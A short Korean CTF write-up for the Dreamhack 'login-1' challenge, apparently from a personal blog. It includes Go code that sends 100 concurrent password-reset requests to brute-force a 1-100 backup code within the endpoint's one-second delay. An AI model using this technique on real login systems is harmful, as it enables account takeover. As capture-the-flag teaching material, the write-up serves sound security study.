Back

[dreamhack] login-1

[문제]

python으로 작성된 로그인 기능을 가진 서비스입니다. “admin” 권한을 가진 사용자로 로그인하여 플래그를 획득하세요.

[해결법]

제공하는 app.py만 잘 해석하면 풀 수 있는 문제였다. ‘/forgot_password’에 “time.sleep(1)” 구문이 있는데 1초안에 1~100까지 랜덤으로 생성되는 backupCode를 요청하면되었다. python으로 간단히 요청 코드를 작성하면 해결된다. 아래는 go 연습할겸 만든 코드 아래코드로 시도해도된당

package main

import (
	"fmt"
	"net/http"
	"net/url"
	"runtime"
	"strconv"
	"time"
)

func main() {
	runtime.GOMAXPROCS(runtime.NumCPU() - 2)
	for i := 1; i <= 100; i++ {
		go postRequst(i)
	}
	time.Sleep(time.Second * 3)
}

func postRequst(i int) {
	backupCode := strconv.Itoa(i)
	fmt.Println(backupCode + "번째시도")
	resp, err := http.PostForm("<문제URL>/forgot_password",
		url.Values{"userid": {"Apple"}, "newpassword": {"Apple"}, "backupCode": {backupCode}})
	if err != nil {
		panic(err)
	}
	defer resp.Body.Close()
}
comments powered by Disqus